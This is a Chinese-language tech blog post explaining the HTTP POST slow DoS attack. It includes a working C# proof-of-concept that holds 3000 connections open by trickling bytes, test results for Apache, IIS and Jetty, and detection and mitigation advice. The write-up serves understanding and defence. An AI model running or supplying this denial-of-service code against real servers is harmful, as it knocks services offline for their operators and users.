JAVA—咖啡馆

——欢迎访问rogerfan的博客,常来《JAVA——咖啡馆》坐坐,喝杯浓香的咖啡,彼此探讨一下JAVA技术,交流工作经验,分享JAVA带来的快乐!本网站部分转载文章,如果有版权问题请与我联系。

BlogJava 首页 新随笔 联系 聚合 管理
  447 Posts :: 145 Stories :: 368 Comments :: 0 Trackbacks

1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里:

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

这个攻击的基本原理如下:

针对任意HTTP Server,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

这一攻击引起我注意的原因有这几点:

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的,所以即使你的Web应用没有可用form表单,这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server,将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击,我做了一个简单的POC,C#代码如下。


 1using System;
 2using System.Collections.Generic;
 3using System.Text;
 4using System.Net.Sockets;
 5using System.Threading;
 6
 7namespace HTTPPostDoS
 8{
 9    class TestDemo
10    {
11        static void Main(string[] args)
12        {
13            string host = "target";
14            int port = 8080;
15            int max_number_of_connection = 3000;
16            List<TcpClient> clients = new List<TcpClient>();
17
18            for (int i = 0; i < max_number_of_connection; i++)
19            {
20                TcpClient client = new TcpClient();
21                clients.Add(client);
22                client.Connect(host, port);
23
24                if (client.Connected)
25                {
26                    string header = "POST /a HTTP/1.1\r\n" +
27                                    "HOST: " + host + "\r\n" +
28                                    "Connection: keep-alive\r\n" +
29                                    "Keep-Alive: 900\r\n" +
30                                    "Content-Length: 100000000\r\n" +
31                                    "Content_Type: application/x-www-form-urlencoded\r\n" +
32                                    "Accept: *.*\r\n";
33                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
34                    if (sent <= 0)
35                    {
36                        Console.WriteLine("Error while connecting to server");
37                    }

38                    else
39                    {
40                        Console.WriteLine("Connected");
41                    }

42                }

43            }

44
45            while (true)
46            {
47                int i = 0;
48                foreach (TcpClient client in clients)
49                {
50                    i++;
51                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
52                    Console.WriteLine("Client " + i + " just sent a byte.");
53                }

54                Thread.Sleep(1000);
55            }

56        }

57    }

58}

这段代码向目标服务器的示例Web Server发起攻击,每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显,Apache的maxClients几乎在瞬间被hold住,浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果,同时我还测试了公司使用最多的Jetty,有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时,我发现针对不同的Jetty Connector配置,攻击的效果有天壤之别。

我们知道Jetty在配置Connector时,可以有NIO和BIO两种模式供选择。当使用BIO模式时,Jetty的max thread被瞬间耗尽,服务停止。但是在使用NIO模式时,即使客户端的恶意socket连接数已经达到3000个,但是服务依然没有受到任何影响。这个应该很好理解,由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚,但是猜测MS在实现时采用了NIO Socket模型。

详细的配置情况,请参见Jetty的官方文档

其它的Web Server,我没有做进一步测试。如有兴趣请自行验证。

4. 检测与防范

目前针对Apache服务器,官方尚没有解决方案出台。建议:

1. 检查日志,查找类似的错误报警:

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有没有被这种攻击盯上。

2. 调整防火墙设置。有条件的,在IPS上做一下规则设置。

注意这些都还只是暂时措施,因为这种攻击的变化可能很多,事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。

针对Jetty服务器,强烈建议使用NIO非阻塞模式,对服务器可以起到很好的保护作用。

相关阅读:

1. New HTTP POST DDoS Attack Tools Released

2. Wong Onn Chee 和Tom Brennan的Paper

3. Using HTTP POST for denial of service

 

补充1:微软的IIS实现了完成端口(IOCP),IO效率相当高。这解释了为何此攻击对IIS无效。


posted on 2013-08-01 08:50 rogerfan 阅读(2261) 评论(0)  编辑  收藏

只有注册用户登录后才能发表评论。


网站导航: